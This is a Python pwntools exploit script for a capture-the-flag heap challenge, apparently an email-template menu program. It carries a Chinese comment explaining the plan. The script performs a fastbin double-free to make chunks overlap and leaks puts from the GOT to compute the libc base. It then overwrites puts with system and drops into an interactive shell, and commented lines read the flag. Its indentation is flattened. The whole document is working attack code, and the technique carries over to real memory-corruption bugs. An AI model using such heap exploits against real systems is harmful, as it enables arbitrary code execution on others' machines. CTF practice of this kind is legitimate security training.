if __name__ == '__main__':
def menu(choice):
r.recvuntil("|==> 5. exit |\n+-----------------------------+\n> ")
r.sendline(str(choice))
def create(c):
menu(2)
r.recvuntil("Email template sign:\n")
r.sendline(c)
def update(idx, c):
menu(4)
r.recvuntil("Template index: ")
r.sendline(str(idx))
r.recvuntil("New email template sign:\n")
r.sendline(c)
def free(idx):
menu(1)
r.recvuntil("Start with: {empty | template}\n> ")
r.sendline("template")
r.recvuntil("Template index: ")
r.send(str(idx))
r.recvuntil("Your email Recver: ")
r.sendline(b'aaaa')
r.recvuntil("Email content: ")
r.sendline(b'bbbb')
def show():
menu(3)
'''
如果申请的大小在0x10之间,则直接写入到原指针中。
如果申请的大小大于0x10,则会mallock(0x20),根据题目的保护以及提示,
最终的目标是将puts的got修改为system,所以需要有一个可写的指针。也就是让一个可写的chunk与template结构体重合
那常见的一种first fit攻击手段,可以这样
刚开始申请3个结构体,均不用申请chunk,直接写内容到结构体。
fastbin dup之后,形成一个fastbin和利用立链
再申请一个结构体,让template的sign大于0x10,则会申请一个0x20的chunk,此时结构体、sign各用一个0x30的chunk,就形成了sign和之前的一个结构体重合
写入got就可以了。
因为如果写入小于0x10,可直接将写入数据写入got中。。。
这个题目挺坑的
'''
create('0')
create('1')
create('2')
free(0)
free(1)
free(0)
payload = pack(elf.got['puts'])
payload += pack(0x20)
payload = payload.ljust(0x20)
create(payload)
show()
r.recvuntil("ID: 0\x0a")
addr = unpack(r.recv(6).ljust(8, b'\x00'))
addr_name = 'puts'
info_addr(addr_name, addr)
# libc_id = searcher.search_simple(addr_name, addr)
libc_id = ['libc6_2.23-0ubuntu11.3_amd64']
print(libc_id)
libc_base = addr - searcher.dump(libc_id[0], addr_name)
system_addr = libc_base + searcher.dump(libc_id[0], 'system')
info_addr("system", system_addr)
update(0, pack(system_addr))
menu(5)
# show()
# sleep(1)
# r.sendline('echo "Get Shell?"')
# r.readuntil("Get Shell?")
# log.success("You Got the shell....")
# r.sendline('cat flag')
r.interactive()